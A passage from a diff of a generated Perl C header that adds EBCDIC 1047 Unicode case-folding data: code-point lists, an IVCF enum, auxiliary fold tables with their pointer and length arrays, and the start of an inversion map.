+	0xDB,
+	0xDF,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19A,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F0,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x250,
+	0x251,
+	0x252,
+	0x253,
+	0x254,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25C,
+	0x25D,
+	0x260,
+	0x261,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x266,
+	0x267,
+	0x268,
+	0x269,
+	0x26A,
+	0x26B,
+	0x26C,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x272,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x288,
+	0x289,
+	0x28A,
+	0x28C,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29E,
+	0x29F,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3AD,
+	0x3B0,
+	0x3B1,
+	0x3B2,
+	0x3B3,
+	0x3B5,
+	0x3B6,
+	0x3B8,
+	0x3B9,
+	0x3BA,
+	0x3BB,
+	0x3BC,
+	0x3BD,
+	0x3C0,
+	0x3C1,
+	0x3C2,
+	0x3C3,
+	0x3C4,
+	0x3C6,
+	0x3C7,
+	0x3C9,
+	0x3CA,
+	0x3CC,
+	0x3CD,
+	0x3CF,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F2,
+	0x3F3,
+	0x3F4,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x432,
+	0x433,
+	0x434,
+	0x435,
+	0x43E,
+	0x43F,
+	0x441,
+	0x442,
+	0x443,
+	0x44A,
+	0x44B,
+	0x450,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4CF,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x587,
+	0x13A0,
+	0x13F0,
+	0x13F6,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E96,
+	0x1E9E,
+	0x1E9F,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F00,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F72,
+	0x1F76,
+	0x1F78,
+	0x1F7A,
+	0x1F7C,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB2,
+	0x1FB3,
+	0x1FB4,
+	0x1FBC,
+	0x1FBD,
+	0x1FC3,
+	0x1FC4,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD2,
+	0x1FD3,
+	0x1FD4,
+	0x1FE0,
+	0x1FE2,
+	0x1FE3,
+	0x1FE4,
+	0x1FE5,
+	0x1FE6,
+	0x1FF3,
+	0x1FF4,
+	0x1FFC,
+	0x1FFD,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C66,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xFB05,
+	0xFB06,
+	0xFB07,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	IVCF_0 = 0,
+	IVCF_use_AUX_TABLE_1 = -1,
+	IVCF_use_AUX_TABLE_2 = -2,
+	IVCF_use_AUX_TABLE_3 = -3,
+	IVCF_use_AUX_TABLE_4 = -4,
+	IVCF_use_AUX_TABLE_5 = -5,
+	IVCF_use_AUX_TABLE_6 = -6,
+	IVCF_use_AUX_TABLE_7 = -7,
+	IVCF_use_AUX_TABLE_8 = -8,
+	IVCF_use_AUX_TABLE_9 = -9,
+	IVCF_use_AUX_TABLE_10 = -10,
+	IVCF_use_AUX_TABLE_11 = -11,
+	IVCF_use_AUX_TABLE_12 = -12,
+	IVCF_use_AUX_TABLE_13 = -13,
+	IVCF_use_AUX_TABLE_14 = -14,
+	IVCF_use_AUX_TABLE_15 = -15,
+	IVCF_use_AUX_TABLE_16 = -16,
+	IVCF_use_AUX_TABLE_17 = -17,
+	IVCF_use_AUX_TABLE_18 = -18,
+	IVCF_use_AUX_TABLE_19 = -19,
+	IVCF_use_AUX_TABLE_20 = -20,
+	IVCF_use_AUX_TABLE_21 = -21,
+	IVCF_use_AUX_TABLE_22 = -22,
+	IVCF_use_AUX_TABLE_23 = -23,
+	IVCF_use_AUX_TABLE_24 = -24,
+	IVCF_use_AUX_TABLE_25 = -25,
+	IVCF_use_AUX_TABLE_26 = -26,
+	IVCF_use_AUX_TABLE_27 = -27
+} IVCF_enum;
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#define HAS_IVCF_AUX_TABLES
+
+static const unsigned int IVCF_AUX_TABLE_1[] = {
+	0x67,
+	0x212B
+};
+
+static const unsigned int IVCF_AUX_TABLE_2[] = {
+	0xD2,
+	0x212A
+};
+
+static const unsigned int IVCF_AUX_TABLE_3[] = {
+	0xE2,
+	0x17F
+};
+
+static const unsigned int IVCF_AUX_TABLE_4[] = {
+	0x1C4,
+	0x1C5
+};
+
+static const unsigned int IVCF_AUX_TABLE_5[] = {
+	0x1C7,
+	0x1C8
+};
+
+static const unsigned int IVCF_AUX_TABLE_6[] = {
+	0x1CA,
+	0x1CB
+};
+
+static const unsigned int IVCF_AUX_TABLE_7[] = {
+	0x1F1,
+	0x1F2
+};
+
+static const unsigned int IVCF_AUX_TABLE_8[] = {
+	0x392,
+	0x3D0
+};
+
+static const unsigned int IVCF_AUX_TABLE_9[] = {
+	0x395,
+	0x3F5
+};
+
+static const unsigned int IVCF_AUX_TABLE_10[] = {
+	0x398,
+	0x3D1,
+	0x3F4
+};
+
+static const unsigned int IVCF_AUX_TABLE_11[] = {
+	0x345,
+	0x399,
+	0x1FBE
+};
+
+static const unsigned int IVCF_AUX_TABLE_12[] = {
+	0x39A,
+	0x3F0
+};
+
+static const unsigned int IVCF_AUX_TABLE_13[] = {
 	0xB5,
-	0xB6,
-	0xBA,
-	0xBB,
+	0x39C
+};
+
+static const unsigned int IVCF_AUX_TABLE_14[] = {
+	0x3A0,
+	0x3D6
+};
+
+static const unsigned int IVCF_AUX_TABLE_15[] = {
+	0x3A1,
+	0x3F1
+};
+
+static const unsigned int IVCF_AUX_TABLE_16[] = {
+	0x3A3,
+	0x3C2
+};
+
+static const unsigned int IVCF_AUX_TABLE_17[] = {
+	0x3A6,
+	0x3D5
+};
+
+static const unsigned int IVCF_AUX_TABLE_18[] = {
+	0x3A9,
+	0x2126
+};
+
+static const unsigned int IVCF_AUX_TABLE_19[] = {
+	0x412,
+	0x1C80
+};
+
+static const unsigned int IVCF_AUX_TABLE_20[] = {
+	0x414,
+	0x1C81
+};
+
+static const unsigned int IVCF_AUX_TABLE_21[] = {
+	0x41E,
+	0x1C82
+};
+
+static const unsigned int IVCF_AUX_TABLE_22[] = {
+	0x421,
+	0x1C83
+};
+
+static const unsigned int IVCF_AUX_TABLE_23[] = {
+	0x422,
+	0x1C84,
+	0x1C85
+};
+
+static const unsigned int IVCF_AUX_TABLE_24[] = {
+	0x42A,
+	0x1C86
+};
+
+static const unsigned int IVCF_AUX_TABLE_25[] = {
+	0x462,
+	0x1C87
+};
+
+static const unsigned int IVCF_AUX_TABLE_26[] = {
+	0x1E60,
+	0x1E9B
+};
+
+static const unsigned int IVCF_AUX_TABLE_27[] = {
+	0x1C88,
+	0xA64A
+};
+
+static const unsigned int * const IVCF_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	IVCF_AUX_TABLE_1,
+	IVCF_AUX_TABLE_2,
+	IVCF_AUX_TABLE_3,
+	IVCF_AUX_TABLE_4,
+	IVCF_AUX_TABLE_5,
+	IVCF_AUX_TABLE_6,
+	IVCF_AUX_TABLE_7,
+	IVCF_AUX_TABLE_8,
+	IVCF_AUX_TABLE_9,
+	IVCF_AUX_TABLE_10,
+	IVCF_AUX_TABLE_11,
+	IVCF_AUX_TABLE_12,
+	IVCF_AUX_TABLE_13,
+	IVCF_AUX_TABLE_14,
+	IVCF_AUX_TABLE_15,
+	IVCF_AUX_TABLE_16,
+	IVCF_AUX_TABLE_17,
+	IVCF_AUX_TABLE_18,
+	IVCF_AUX_TABLE_19,
+	IVCF_AUX_TABLE_20,
+	IVCF_AUX_TABLE_21,
+	IVCF_AUX_TABLE_22,
+	IVCF_AUX_TABLE_23,
+	IVCF_AUX_TABLE_24,
+	IVCF_AUX_TABLE_25,
+	IVCF_AUX_TABLE_26,
+	IVCF_AUX_TABLE_27
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 IVCF_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* IVCF_AUX_TABLE_1 */,
+	2	/* IVCF_AUX_TABLE_2 */,
+	2	/* IVCF_AUX_TABLE_3 */,
+	2	/* IVCF_AUX_TABLE_4 */,
+	2	/* IVCF_AUX_TABLE_5 */,
+	2	/* IVCF_AUX_TABLE_6 */,
+	2	/* IVCF_AUX_TABLE_7 */,
+	2	/* IVCF_AUX_TABLE_8 */,
+	2	/* IVCF_AUX_TABLE_9 */,
+	3	/* IVCF_AUX_TABLE_10 */,
+	3	/* IVCF_AUX_TABLE_11 */,
+	2	/* IVCF_AUX_TABLE_12 */,
+	2	/* IVCF_AUX_TABLE_13 */,
+	2	/* IVCF_AUX_TABLE_14 */,
+	2	/* IVCF_AUX_TABLE_15 */,
+	2	/* IVCF_AUX_TABLE_16 */,
+	2	/* IVCF_AUX_TABLE_17 */,
+	2	/* IVCF_AUX_TABLE_18 */,
+	2	/* IVCF_AUX_TABLE_19 */,
+	2	/* IVCF_AUX_TABLE_20 */,
+	2	/* IVCF_AUX_TABLE_21 */,
+	2	/* IVCF_AUX_TABLE_22 */,
+	3	/* IVCF_AUX_TABLE_23 */,
+	2	/* IVCF_AUX_TABLE_24 */,
+	2	/* IVCF_AUX_TABLE_25 */,
+	2	/* IVCF_AUX_TABLE_26 */,
+	2	/* IVCF_AUX_TABLE_27 */
+};
+
+static const int _Perl_IVCF_invmap[] = { /* for EBCDIC 1047 */
+	0,
 	0xC0,
-	0xD7,
